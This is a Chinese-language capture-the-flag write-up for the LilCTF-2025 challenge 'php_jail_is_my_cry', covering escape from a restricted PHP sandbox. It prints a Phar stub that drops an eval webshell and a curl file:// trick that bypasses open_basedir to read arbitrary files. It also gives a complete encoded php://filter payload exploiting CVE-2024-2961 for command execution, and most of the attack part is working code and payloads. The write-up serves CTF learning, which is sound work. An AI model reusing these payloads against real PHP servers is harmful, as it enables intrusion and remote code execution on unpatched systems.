php_jail_is_my_cry
文章摘要 LilCTF-2025的php_jail_is_my_cry题目考察PHP沙箱逃逸。通过分析代码发现存在文件上传和文件包含漏洞。利用Phar反序列化攻击,可以绕过对PHP代码的检测(禁止包含<?、php、halt等关键字)。先构造恶意Phar文件,压缩后上传,再触发文件包含执行恶意代码。题目还设置了严格的open_basedir限制和大量禁用函数,增加了挑战难度。最终通过文件写入操
参考文章
LilCTF-2025 Writeup · Phrinky’s Blog
https://c1oudfl0w0.github.io/blog/2025/08/17/LilCTF-2025/
php_jail_is_my_cry
当时没怎么看这道题,赛后复现一下
代码审计
<?php
if (isset($_POST['url'])) {
$url = $_POST['url'];
$file_name = basename($url);
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);
curl_close($ch);
if ($data) {
file_put_contents('/tmp/'.$file_name, $data);
echo "文件已下载: <a href='?down=$file_name'>$file_name</a>";
} else {
echo "下载失败。";
}
}
if (isset($_GET['down'])){
include '/tmp/' . basename($_GET['down']);
exit;
}
// 上传文件
if (isset($_FILES['file'])) {
$target_dir = "/tmp/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
$orig = $_FILES["file"]["tmp_name"];
$ch = curl_init('file://'. $orig);
// I hide a trick to bypass open_basedir, I'm sure you can find it.
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$data = curl_exec($ch);
curl_close($ch);
if (stripos($data, '<?') === false && stripos($data, 'php') === false && stripos($data, 'halt') === false) {
file_put_contents($target_file, $data);
} else {
echo "存在 `<?` 或者 `php` 或者 `halt` 恶意字符!";
$data = null;
}
}
?>
文件上传+文件包含
整体代码逻辑结合新姿势,第一步很明显,文件上传马后包含
php 文件上传不含一句 php 代码 RCE 最新新姿势-先知社区
放一下云流师傅的payload
<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$stub = <<<'STUB'
<?php
$a="<?php eval(\$_POST[0]);";
file_put_contents("/var/www/html/2.php",$a);
__HALT_COMPILER();
?>
STUB;
$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>
拿到exploit.phar
后压缩上传,下载,访问url/2.php
,即可拿到webshell
gzip -c exploit.phar>exploit.phar.gz
函数禁用+open_basedir限制
我们关注一下php.ini,基本ban完了
open_basedir = /var/www/html:/tmp
disable_functions = zend_version,func_num_args,func_get_arg,func_get_args,strlen,strcmp,strncmp,strcasecmp,strncasecmp,each,error_reporting,define,defined,get_class,get_called_class,get_parent_class,method_exists,property_exists,class_exists,interface_exists,trait_exists,function_exists,class_alias,get_included_files,get_required_files,is_subclass_of,is_a,get_class_vars,get_object_vars,get_class_methods,trigger_error,user_error,set_error_handler,restore_error_handler,set_exception_handler,restore_exception_handler,get_declared_classes,get_declared_traits,get_declared_interfaces,get_defined_functions,get_defined_vars,create_function,get_resource_type,get_resources,get_loaded_extensions,extension_loaded,get_extension_funcs,get_defined_constants,debug_backtrace,debug_print_backtrace,gc_mem_caches,gc_collect_cycles,gc_enabled,gc_enable,gc_disable,gc_status,strtotime,date,idate,gmdate,mktime,gmmktime,checkdate,strftime,gmstrftime,time,localtime,getdate,date_create,date_create_immutable,date_create_from_format,date_create_immutable_from_format,date_parse,date_parse_from_format,date_get_last_errors,date_format,date_modify,date_add,date_sub,date_timezone_get,date_timezone_set,date_offset_get,date_diff,date_time_set,date_date_set,date_isodate_set,date_timestamp_set,date_timestamp_get,timezone_open,timezone_name_get,timezone_name_from_abbr,timezone_offset_get,timezone_transitions_get,timezone_location_get,timezone_identifiers_list,timezone_abbreviations_list,timezone_version_get,date_interval_create_from_date_string,date_interval_format,date_default_timezone_set,date_default_timezone_get,date_sunrise,date_sunset,date_sun_info,libxml_set_streams_context,libxml_use_internal_errors,libxml_get_last_error,libxml_clear_errors,libxml_get_errors,libxml_disable_entity_loader,libxml_set_external_entity_loader,openssl_get_cert_locations,openssl_spki_new,openssl_spki_verify,openssl_spki_export,openssl_spki_export_challenge,openssl_pkey_free,openssl_pkey_new,openssl_pkey_export,openssl_pkey_export_to_file,openssl_pkey_get_private,openssl_pkey_get_public,openssl_pkey_get_details,openssl_free_key,openssl_get_privatekey,openssl_get_publickey,openssl_x509_read,openssl_x509_free,openssl_x509_parse,openssl_x509_checkpurpose,openssl_x509_check_private_key,openssl_x509_export,openssl_x509_fingerprint,openssl_x509_export_to_file,openssl_pkcs12_export,openssl_pkcs12_export_to_file,openssl_pkcs12_read,openssl_csr_new,openssl_csr_export,openssl_csr_export_to_file,openssl_csr_sign,openssl_csr_get_subject,openssl_csr_get_public_key,openssl_digest,openssl_encrypt,openssl_decrypt,openssl_cipher_iv_length,openssl_sign,openssl_verify,openssl_seal,openssl_open,openssl_pbkdf2,openssl_pkcs7_verify,openssl_pkcs7_decrypt,openssl_pkcs7_sign,openssl_pkcs7_encrypt,openssl_pkcs7_read,openssl_private_encrypt,openssl_private_decrypt,openssl_public_encrypt,openssl_public_decrypt,openssl_get_md_methods,openssl_get_cipher_methods,openssl_get_curve_names,openssl_dh_compute_key,openssl_pkey_derive,openssl_random_pseudo_bytes,openssl_error_string,preg_match,preg_match_all,preg_replace,preg_replace_callback,preg_replace_callback_array,preg_filter,preg_split,preg_quote,preg_grep,preg_last_error,readgzfile,gzrewind,gzclose,gzeof,gzgetc,gzgets,gzgetss,gzread,gzopen,gzpassthru,gzseek,gztell,gzwrite,gzputs,gzfile,gzcompress,gzuncompress,gzdeflate,gzinflate,gzencode,gzdecode,zlib_encode,zlib_decode,zlib_get_coding_type,deflate_init,deflate_add,inflate_init,inflate_add,inflate_get_status,inflate_get_read_len,ob_gzhandler,ctype_alnum,ctype_alpha,ctype_cntrl,ctype_digit,ctype_lower,ctype_graph,ctype_print,ctype_punct,ctype_space,ctype_upper,ctype_xdigit,dom_import_simplexml,finfo_open,finfo_close,finfo_set_flags,finfo_file,finfo_buffer,mime_content_type,filter_input,filter_var,filter_input_array,filter_var_array,filter_list,filter_has_var,filter_id,ftp_connect,ftp_ssl_connect,ftp_login,ftp_pwd,ftp_cdup,ftp_chdir,ftp_exec,ftp_raw,ftp_mkdir,ftp_rmdir,ftp_chmod,ftp_alloc,ftp_nlist,ftp_rawlist,ftp_mlsd,ftp_systype,ftp_pasv,ftp_get,ftp_fget,ftp_put,ftp_append,ftp_fput,ftp_size,ftp_mdtm,ftp_rename,ftp_delete,ftp_site,ftp_close,ftp_set_option,ftp_get_option,ftp_nb_fget,ftp_nb_get,ftp_nb_continue,ftp_nb_put,ftp_nb_fput,ftp_quit,hash,hash_file,hash_hmac,hash_hmac_file,hash_init,hash_update,hash_update_stream,hash_update_file,hash_final,hash_copy,hash_algos,hash_hmac_algos,hash_pbkdf2,hash_equals,hash_hkdf,mhash_keygen_s2k,mhash_get_block_size,mhash_get_hash_name,mhash_count,mhash,iconv,iconv_get_encoding,iconv_set_encoding,iconv_strlen,iconv_substr,iconv_strpos,iconv_strrpos,iconv_mime_encode,iconv_mime_decode,iconv_mime_decode_headers,json_encode,json_decode,json_last_error,json_last_error_msg,mb_convert_case,mb_strtoupper,mb_strtolower,mb_language,mb_internal_encoding,mb_http_input,mb_http_output,mb_detect_order,mb_substitute_character,mb_parse_str,mb_output_handler,mb_preferred_mime_name,mb_strlen,mb_strpos,mb_strrpos,mb_stripos,mb_strripos,mb_strstr,mb_strrchr,mb_stristr,mb_strrichr,mb_substr_count,mb_substr,mb_strcut,mb_strwidth,mb_strimwidth,mb_convert_encoding,mb_detect_encoding,mb_list_encodings,mb_encoding_aliases,mb_convert_kana,mb_encode_mimeheader,mb_decode_mimeheader,mb_convert_variables,mb_encode_numericentity,mb_decode_numericentity,mb_send_mail,mb_get_info,mb_check_encoding,mb_ord,mb_chr,mb_scrub,mb_regex_encoding,mb_regex_set_options,mb_ereg,mb_eregi,mb_ereg_replace,mb_eregi_replace,mb_ereg_replace_callback,mb_split,mb_ereg_match,mb_ereg_search,mb_ereg_search_pos,mb_ereg_search_regs,mb_ereg_search_init,mb_ereg_search_getregs,mb_ereg_search_getpos,mb_ereg_search_setpos,mbregex_encoding,mbereg,mberegi,mbereg_replace,mberegi_replace,mbsplit,mbereg_match,mbereg_search,mbereg_search_pos,mbereg_search_regs,mbereg_search_init,mbereg_search_getregs,mbereg_search_getpos,mbereg_search_setpos,spl_classes,spl_autoload,spl_autoload_extensions,spl_autoload_register,spl_autoload_unregister,spl_autoload_functions,spl_autoload_call,class_parents,class_implements,class_uses,spl_object_hash,spl_object_id,iterator_to_array,iterator_count,iterator_apply,pdo_drivers,posix_kill,posix_getpid,posix_getppid,posix_getuid,posix_setuid,posix_geteuid,posix_seteuid,posix_getgid,posix_setgid,posix_getegid,posix_setegid,posix_getgroups,posix_getlogin,posix_getpgrp,posix_setsid,posix_setpgid,posix_getpgid,posix_getsid,posix_uname,posix_times,posix_ctermid,posix_ttyname,posix_isatty,posix_getcwd,posix_mkfifo,posix_mknod,posix_access,posix_getgrnam,posix_getgrgid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_setrlimit,posix_get_last_error,posix_errno,posix_strerror,posix_initgroups,readline,readline_info,readline_add_history,readline_clear_history,readline_list_history,readline_read_history,readline_write_history,readline_completion_function,readline_callback_handler_install,readline_callback_read_char,readline_callback_handler_remove,readline_redisplay,readline_on_new_line,session_name,session_module_name,session_save_path,session_id,session_create_id,session_regenerate_id,session_decode,session_encode,session_start,session_destroy,session_unset,session_gc,session_set_save_handler,session_cache_limiter,session_cache_expire,session_set_cookie_params,session_get_cookie_params,session_write_close,session_abort,session_reset,session_status,session_register_shutdown,session_commit,simplexml_load_file,simplexml_load_string,simplexml_import_dom,constant,bin2hex,hex2bin,sleep,usleep,time_nanosleep,time_sleep_until,strptime,flush,wordwrap,htmlspecialchars,htmlentities,html_entity_decode,htmlspecialchars_decode,get_html_translation_table,sha1,sha1_file,md5,md5_file,crc32,iptcparse,iptcembed,getimagesize,getimagesizefromstring,image_type_to_mime_type,image_type_to_extension,phpversion,phpcredits,php_sapi_name,php_uname,php_ini_scanned_files,php_ini_loaded_file,strnatcmp,strnatcasecmp,substr_count,strspn,strcspn,strtok,strtoupper,strtolower,strpos,strrpos,strripos,strrev,hebrev,hebrevc,nl2br,dirname,pathinfo,stripslashes,stripcslashes,strstr,stristr,strrchr,str_shuffle,str_word_count,str_split,strpbrk,substr_compare,utf8_encode,utf8_decode,strcoll,money_format,substr,substr_replace,quotemeta,ucfirst,lcfirst,ucwords,strtr,addslashes,addcslashes,rtrim,str_replace,str_ireplace,str_repeat,count_chars,chunk_split,trim,ltrim,strip_tags,similar_text,explode,implode,join,setlocale,localeconv,nl_langinfo,soundex,levenshtein,chr,ord,parse_str,str_getcsv,str_pad,chop,strchr,sprintf,printf,vprintf,vsprintf,fprintf,vfprintf,sscanf,fscanf,parse_url,urlencode,urldecode,rawurlencode,rawurldecode,http_build_query,readlink,linkinfo,symlink,link,unlink,exec,system,escapeshellcmd,escapeshellarg,passthru,shell_exec,proc_open,proc_close,proc_terminate,proc_get_status,proc_nice,rand,srand,getrandmax,mt_rand,mt_srand,mt_getrandmax,random_bytes,random_int,getservbyname,getservbyport,getprotobyname,getprotobynumber,getmyuid,getmygid,getmypid,getmyinode,getlastmod,base64_decode,base64_encode,password_hash,password_get_info,password_needs_rehash,password_verify,convert_uuencode,convert_uudecode,abs,ceil,floor,round,sin,cos,tan,asin,acos,atan,atanh,atan2,sinh,cosh,tanh,asinh,acosh,expm1,log1p,pi,is_finite,is_nan,is_infinite,pow,exp,log,log10,sqrt,hypot,deg2rad,rad2deg,bindec,hexdec,octdec,decbin,decoct,dechex,base_convert,number_format,fmod,intdiv,inet_ntop,inet_pton,ip2long,long2ip,getenv,putenv,getopt,sys_getloadavg,microtime,gettimeofday,getrusage,hrtime,uniqid,quoted_printable_decode,quoted_printable_encode,convert_cyr_string,get_current_user,set_time_limit,header_register_callback,get_cfg_var,get_magic_quotes_gpc,get_magic_quotes_runtime,error_log,error_get_last,error_clear_last,call_user_func,call_user_func_array,forward_static_call,forward_static_call_array,serialize,unserialize,var_export,debug_zval_dump,print_r,memory_get_usage,memory_get_peak_usage,register_shutdown_function,register_tick_function,unregister_tick_function,highlight_file,show_source,highlight_string,php_strip_whitespace,ini_get,ini_get_all,ini_set,ini_alter,ini_restore,get_include_path,set_include_path,restore_include_path,setcookie,setrawcookie,header,header_remove,headers_sent,headers_list,http_response_code,connection_aborted,connection_status,ignore_user_abort,parse_ini_file,parse_ini_string,is_uploaded_file,move_uploaded_file,gethostbyaddr,gethostbyname,gethostbynamel,gethostname,net_get_interfaces,dns_check_record,checkdnsrr,dns_get_mx,getmxrr,dns_get_record,intval,floatval,doubleval,strval,boolval,gettype,settype,is_null,is_resource,is_bool,is_int,is_float,is_integer,is_long,is_double,is_real,is_numeric,is_string,is_array,is_object,is_scalar,is_callable,is_iterable,is_countable,pclose,popen,readfile,rewind,rmdir,umask,fclose,feof,fgetc,fgets,fgetss,fread,fopen,fpassthru,ftruncate,fstat,fseek,ftell,fflush,fwrite,fputs,mkdir,rename,copy,tempnam,tmpfile,file,file_get_contents,stream_select,stream_context_create,stream_context_set_params,stream_context_get_params,stream_context_set_option,stream_context_get_options,stream_context_get_default,stream_context_set_default,stream_filter_prepend,stream_filter_append,stream_filter_remove,stream_socket_client,stream_socket_server,stream_socket_accept,stream_socket_get_name,stream_socket_recvfrom,stream_socket_sendto,stream_socket_enable_crypto,stream_socket_shutdown,stream_socket_pair,stream_copy_to_stream,stream_get_contents,stream_supports_lock,stream_isatty,fgetcsv,fputcsv,flock,get_meta_tags,stream_set_read_buffer,stream_set_write_buffer,set_file_buffer,stream_set_chunk_size,stream_set_blocking,socket_set_blocking,stream_get_meta_data,stream_get_line,stream_wrapper_register,stream_register_wrapper,stream_wrapper_unregister,stream_wrapper_restore,stream_get_wrappers,stream_get_transports,stream_resolve_include_path,stream_is_local,get_headers,stream_set_timeout,socket_set_timeout,socket_get_status,realpath,fnmatch,fsockopen,pfsockopen,pack,unpack,get_browser,crypt,opendir,closedir,chdir,getcwd,rewinddir,readdir,dir,scandir,glob,fileatime,filectime,filegroup,fileinode,filemtime,fileowner,fileperms,filesize,filetype,file_exists,is_writable,is_writeable,is_readable,is_executable,is_file,is_dir,is_link,stat,lstat,chown,chgrp,lchown,lchgrp,chmod,touch,clearstatcache,disk_total_space,disk_free_space,diskfreespace,realpath_cache_size,realpath_cache_get,mail,ezmlm_hash,openlog,syslog,closelog,lcg_value,metaphone,ob_start,ob_flush,ob_clean,ob_end_flush,ob_end_clean,ob_get_flush,ob_get_clean,ob_get_length,ob_get_level,ob_get_status,ob_get_contents,ob_implicit_flush,ob_list_handlers,ksort,krsort,natsort,natcasesort,asort,arsort,sort,rsort,usort,uasort,uksort,shuffle,array_walk,array_walk_recursive,count,end,prev,next,reset,current,key,min,max,in_array,array_search,extract,compact,array_fill,array_fill_keys,range,array_multisort,array_push,array_pop,array_shift,array_unshift,array_splice,array_slice,array_merge,array_merge_recursive,array_replace,array_replace_recursive,array_keys,array_key_first,array_key_last,array_values,array_count_values,array_column,array_reverse,array_reduce,array_pad,array_flip,array_change_key_case,array_rand,array_unique,array_intersect,array_intersect_key,array_intersect_ukey,array_uintersect,array_intersect_assoc,array_uintersect_assoc,array_intersect_uassoc,array_uintersect_uassoc,array_diff,array_diff_key,array_diff_ukey,array_udiff,array_diff_assoc,array_udiff_assoc,array_diff_uassoc,array_udiff_uassoc,array_sum,array_product,array_filter,array_map,array_chunk,array_combine,array_key_exists,pos,sizeof,key_exists,assert,assert_options,version_compare,ftok,str_rot13,stream_get_filters,stream_filter_register,stream_bucket_make_writeable,stream_bucket_prepend,stream_bucket_append,stream_bucket_new,output_add_rewrite_var,output_reset_rewrite_vars,sys_get_temp_dir,token_get_all,token_name,xml_parser_create,xml_parser_create_ns,xml_set_object,xml_set_element_handler,xml_set_character_data_handler,xml_set_processing_instruction_handler,xml_set_default_handler,xml_set_unparsed_entity_decl_handler,xml_set_notation_decl_handler,xml_set_external_entity_ref_handler,xml_set_start_namespace_decl_handler,xml_set_end_namespace_decl_handler,xml_parse,xml_parse_into_struct,xml_get_error_code,xml_error_string,xml_get_current_line_number,xml_get_current_column_number,xml_get_current_byte_index,xml_parser_free,xml_parser_set_option,xml_parser_get_option,xmlwriter_open_uri,xmlwriter_open_memory,xmlwriter_set_indent,xmlwriter_set_indent_string,xmlwriter_start_comment,xmlwriter_end_comment,xmlwriter_start_attribute,xmlwriter_end_attribute,xmlwriter_write_attribute,xmlwriter_start_attribute_ns,xmlwriter_write_attribute_ns,xmlwriter_start_element,xmlwriter_end_element,xmlwriter_full_end_element,xmlwriter_start_element_ns,xmlwriter_write_element,xmlwriter_write_element_ns,xmlwriter_start_pi,xmlwriter_end_pi,xmlwriter_write_pi,xmlwriter_start_cdata,xmlwriter_end_cdata,xmlwriter_write_cdata,xmlwriter_text,xmlwriter_write_raw,xmlwriter_start_document,xmlwriter_end_document,xmlwriter_write_comment,xmlwriter_start_dtd,xmlwriter_end_dtd,xmlwriter_write_dtd,xmlwriter_start_dtd_element,xmlwriter_end_dtd_element,xmlwriter_write_dtd_element,xmlwriter_start_dtd_attlist,xmlwriter_end_dtd_attlist,xmlwriter_write_dtd_attlist,xmlwriter_start_dtd_entity,xmlwriter_end_dtd_entity,xmlwriter_write_dtd_entity,xmlwriter_output_memory,xmlwriter_flush,fastcgi_finish_request,fpm_get_status,apache_request_headers,getallheaders,sodium_crypto_aead_aes256gcm_is_available,sodium_crypto_aead_aes256gcm_decrypt,sodium_crypto_aead_aes256gcm_encrypt,sodium_crypto_aead_aes256gcm_keygen,sodium_crypto_aead_chacha20poly1305_decrypt,sodium_crypto_aead_chacha20poly1305_encrypt,sodium_crypto_aead_chacha20poly1305_keygen,sodium_crypto_aead_chacha20poly1305_ietf_decrypt,sodium_crypto_aead_chacha20poly1305_ietf_encrypt,sodium_crypto_aead_chacha20poly1305_ietf_keygen,sodium_crypto_aead_xchacha20poly1305_ietf_decrypt,sodium_crypto_aead_xchacha20poly1305_ietf_keygen,sodium_crypto_aead_xchacha20poly1305_ietf_encrypt,sodium_crypto_auth,sodium_crypto_auth_keygen,sodium_crypto_auth_verify,sodium_crypto_box,sodium_crypto_box_keypair,sodium_crypto_box_seed_keypair,sodium_crypto_box_keypair_from_secretkey_and_publickey,sodium_crypto_box_open,sodium_crypto_box_publickey,sodium_crypto_box_publickey_from_secretkey,sodium_crypto_box_seal,sodium_crypto_box_seal_open,sodium_crypto_box_secretkey,sodium_crypto_kx_keypair,sodium_crypto_kx_publickey,sodium_crypto_kx_secretkey,sodium_crypto_kx_seed_keypair,sodium_crypto_kx_client_session_keys,sodium_crypto_kx_server_session_keys,sodium_crypto_generichash,sodium_crypto_generichash_keygen,sodium_crypto_generichash_init,sodium_crypto_generichash_update,sodium_crypto_generichash_final,sodium_crypto_kdf_derive_from_key,sodium_crypto_kdf_keygen,sodium_crypto_pwhash,sodium_crypto_pwhash_str,sodium_crypto_pwhash_str_verify,sodium_crypto_pwhash_str_needs_rehash,sodium_crypto_pwhash_scryptsalsa208sha256,sodium_crypto_pwhash_scryptsalsa208sha256_str,sodium_crypto_pwhash_scryptsalsa208sha256_str_verify,sodium_crypto_scalarmult,sodium_crypto_secretbox,sodium_crypto_secretbox_keygen,sodium_crypto_secretbox_open,sodium_crypto_secretstream_xchacha20poly1305_keygen,sodium_crypto_secretstream_xchacha20poly1305_init_push,sodium_crypto_secretstream_xchacha20poly1305_push,sodium_crypto_secretstream_xchacha20poly1305_init_pull,sodium_crypto_secretstream_xchacha20poly1305_pull,sodium_crypto_secretstream_xchacha20poly1305_rekey,sodium_crypto_shorthash,sodium_crypto_shorthash_keygen,sodium_crypto_sign,sodium_crypto_sign_detached,sodium_crypto_sign_ed25519_pk_to_curve25519,sodium_crypto_sign_ed25519_sk_to_curve25519,sodium_crypto_sign_keypair,sodium_crypto_sign_keypair_from_secretkey_and_publickey,sodium_crypto_sign_open,sodium_crypto_sign_publickey,sodium_crypto_sign_secretkey,sodium_crypto_sign_publickey_from_secretkey,sodium_crypto_sign_seed_keypair,sodium_crypto_sign_verify_detached,sodium_crypto_stream,sodium_crypto_stream_keygen,sodium_crypto_stream_xor,sodium_add,sodium_compare,sodium_increment,sodium_memcmp,sodium_memzero,sodium_pad,sodium_unpad,sodium_bin2hex,sodium_hex2bin,sodium_bin2base64,sodium_base642bin,sodium_crypto_scalarmult_base
disable_classes = stdClass, Exception, ErrorException, Error, CompileError, ParseError, TypeError, ArgumentCountError, ArithmeticError, DivisionByZeroError, Closure, Generator, ClosedGeneratorException, DateTime, DateTimeImmutable, DateTimeZone, DateInterval, DatePeriod, LibXMLError, SQLite3, SQLite3Stmt, SQLite3Result, DOMException, DOMStringList, DOMNameList, DOMImplementationList, DOMImplementationSource, DOMImplementation, DOMNode, DOMNameSpaceNode, DOMDocumentFragment, DOMDocument, DOMNodeList, DOMNamedNodeMap, DOMCharacterData, DOMAttr, DOMElement, DOMText, DOMComment, DOMTypeinfo, DOMUserDataHandler, DOMDomError, DOMErrorHandler, DOMLocator, DOMConfiguration, DOMCdataSection, DOMDocumentType, DOMNotation, DOMEntity, DOMEntityReference, DOMProcessingInstruction, DOMStringExtend, DOMXPath, finfo, HashContext, JsonException, LogicException, BadFunctionCallException, BadMethodCallException, DomainException, InvalidArgumentException, LengthException, OutOfRangeException, RuntimeException, OutOfBoundsException, OverflowException, RangeException, UnderflowException, UnexpectedValueException, RecursiveIteratorIterator, IteratorIterator, FilterIterator, RecursiveFilterIterator, CallbackFilterIterator, RecursiveCallbackFilterIterator, ParentIterator, LimitIterator, CachingIterator, RecursiveCachingIterator, NoRewindIterator, AppendIterator, InfiniteIterator, RegexIterator, RecursiveRegexIterator, EmptyIterator, RecursiveTreeIterator, ArrayObject, ArrayIterator, RecursiveArrayIterator, SplFileInfo, DirectoryIterator, FilesystemIterator, RecursiveDirectoryIterator, GlobIterator, SplFileObject, SplTempFileObject, SplDoublyLinkedList, SplQueue, SplStack, SplHeap, SplMinHeap, SplMaxHeap, SplPriorityQueue, SplFixedArray, SplObjectStorage, MultipleIterator, PDOException, PDO, PDOStatement, PDORow, SessionHandler, ReflectionException, Reflection, ReflectionFunctionAbstract, ReflectionFunction, ReflectionGenerator, ReflectionParameter, ReflectionType, ReflectionNamedType, ReflectionMethod, ReflectionClass, ReflectionObject, ReflectionProperty, ReflectionClassConstant, ReflectionExtension, ReflectionZendExtension, __PHP_Incomplete_Class, php_user_filter, Directory, AssertionError, SimpleXMLElement, SimpleXMLIterator, PharException, Phar, PharData, PharFileInfo, XMLReader, XMLWriter, SodiumException
php curl file协议bypass
接着分析题目
// 上传文件
if (isset($_FILES['file'])) {
$target_dir = "/tmp/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
$orig = $_FILES["file"]["tmp_name"];
$ch = curl_init('file://'. $orig);
// I hide a trick to bypass open_basedir, I'm sure you can find it.
我们找一下这个trick
php手册中关于curl_init
的说明
会发现 curl
实际上不能使用 file
Protocol 的,而这里使用了,说明了这里是利用了某个漏洞。
https://github.com/php/php-src/issues/16802
$ch = curl_init("file:///etc/passwd");curl_setopt($ch, CURLOPT_PROTOCOLS_STR, "all");curl_exec($ch);
这里思路可以有了,我们也可以通过这个trick读取文件,绕过了本题限制
这里就有了个任意文件读取
LFI to RCE
了解一下CVE-2024-2961,看下大佬的文章
CVE-2024-2961
是缓冲区溢出,原理就不多研究了,我只能说web狗不配,感兴趣的师傅可以关注一下原文,水平不到位只能当脚本小子了
基本原理就是 iconv 在转换 ISO-2022-CN-EXT 时出现越界写入,
iconv
是php://filter/
使用过滤器时会使用的函数.
简单了解一下基本原理就知道为什么这个考点都喜欢考,PHP的所有标准文件读取操作都受到了影响
据原作者描述该漏洞影响PHP 7.0.0 (2015) 到 8.3.7 (2024)近十年php版本的任何php应用程序(Wordpress、Laravel 等)。PHP的所有标准文件读取操作都受到了影响:file_get_contents()、file()、readfile()、fgets()、getimagesize()、SplFileObject->read()等。文件写入操作同样受到影响(如file_put_contents()及其同类函数).
poc:https://github.com/ambionics/cnext-exploits
脚本执行了三个请求:首先下载
/proc/self/maps
文件,并从中提取PHP堆的地址和libc库的文件名.接着下载libc二进制文件来提取system()
函数的地址.最后执行一次最终请求来触发溢出并执行预设的任意命令.
每道题目接口都不太一样,之后利用都需要改一下,具体可以参考
mb_strpos和mb_substr的trick-CSDN博客
- 菜狗杯-Ezzz_php
回到题目
最后需要rce
,虽然已经上马了,但是函数禁用相当于只有文件读取功能,加上file_put_contents
文件函数可用,很明显要打CVE-2024-2961
上述的poc不能直接利用,题目没有开启allow_url_include
,看脚本
由于
data
Protocol 在include
里面使用需要allow_url_include
启用,会发现脚本无法直接使用
之后有两个思路,由于水平原因详细说一下第二个思路,流下了全群最菜的眼泪.jpg
思路一
修改脚本,达到目的
将 data
Protocol 修改成上传文件再从本地读取内容。
这方法挺考验水平的,无奈水平不够,这里放上原文链接
LilCTF-2025 Writeup · Phrinky’s Blog
思路二
用到这个脚本kezibei/php-filter-iconv
通过任意文件下载获取目标的/proc/self/maps和libc-2.x.so,在本机和php-filter-iconv.py放在同目录,然后运行脚本即可生成php://filter/的RCE payload,详细参数调整如下代码即可。
注:这两个脚本都需要在linux环境下运行
访问拿到文件maps
/proc/self/maps
是 Linux 下一个非常有用的进程内存映射信息文件
0=$ch=curl_init("file:///proc/self/maps");curl_setopt($ch, CURLOPT_PROTOCOLS_STR, "all");curl_exec($ch);
该文件下找到libc文件地址
由于libc文件是二进制文件,通过burp保存为文件拿到源码,注意前边响应头删了,不留空行-跪拜tou师傅
改一下脚本需要的文件路径和执行命令
maps_path = './maps'
cmd = '/readflag > /var/www/html/1.txt'
sleep_time = 1
padding = 20
if not os.path.exists(maps_path):
exit("[-]no maps file")
regions = get_regions(maps_path)
heap, libc_info = get_symbols_and_addresses(regions)
libc_path = libc_info.path
print("[*]download: "+libc_path)
libc_path = './libc.so.6'
if not os.path.exists(libc_path):
exit("[-]no libc file")
libc = ELF(libc_path, checksec=False)
libc.address = libc_info.start
payload = build_exploit_path(libc, heap, sleep_time, padding, cmd)
print("[*]payload:")
print(payload)
python php-filter-iconv.py
生成的payload一般是
file_get_contents('php://......')
这里落脚为
file_put_contents
,read
改为write
未开启 allow_url_include
, 也就是说我们包含的内容必须最终指向一个文件, 而 cn-ext 脚本所生成的最终是落到了一个 data 上, include 会被拒绝导致无法触发。
但是我们现在是有 file_put_contents
在限制的目录下写内容, 我们可以将这需要通过 filter chain 的内容写到一个文件中, 然后再讲原始 filter chain 的来源指向这个文件, 同样也能触发.
具体更改后payload
file_put_contents('php://filter/write=convert.base64-decode/zlib.inflate|zlib.inflate|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.latin1.latin1|dechunk|convert.iconv.UTF-8.ISO-2022-CN-EXT|convert.quoted-printable-decode|convert.iconv.latin1.latin1/resource=3.php','e3vXcN1rMzG2hGvpplPWZn8W04p71/06x9FjRdk0g2Af0%2bzZuSnylkLxXSmrGPMabD78dvjTPiU1%2bpPinVVhDPjBsg061TFPy6ZahX0Vi16bmjcxRwC/hgZPndNy4Ttjl/aF7j0alj0zWkWaBb%2bOBKHTm46H5oWvTA7N33g16pnYSTZG/FasvDNdLHwlSMPrnyw/iu%2b82n5yeb9%2b7urT1159%2b7jRNu7256/htRdVkvdeev/TU3nSfnYCnvz3Ts703KdrbpKrtx79tia6Ou/t1to9245nV%2b/bFnX%2b49I8%2be9ra39%2b/vj5z/X/8%2bRPrufBb9r/6b/1rzOfeL8/hl9h/3%2bbMPvrN%2bZ9fwt0171zH9fcXpv3PXX3/wI/Ofuc/u%2bvr/YXV/7edff%2b%2bpO79l4tXvP%2b9q4665/fbs3b/rp42tuNef3Hvx6bY7/%2b/J%2bP34vlnh%2b0%2bTzHfn/vHPtb386U1%2b7d97o07vDb459PfLayk2vMkzgm765Sn0/Aq5cjpkGDLnvKzL%2b/5te7b7IloEWiz9boWs%2b98xmBaoKe/xlHFY8qHlVMZ8XLtl%2bRMr77zujdt9opql4qtwlk2YQq77WGl9/qPc677x65yGUTLwN1jY/yzi2cKnX/cur%2bp0/dforYT63/%2b13%2bv46qUg6BorYhU3fr0dCsGv/pf8MW12zq2CBLyGVbrwDLq4%2b2sd%2biez%2bdVHpkDgA=');
访问3.php
,flag就在1.txt
拿到flag
更多推荐
所有评论(0)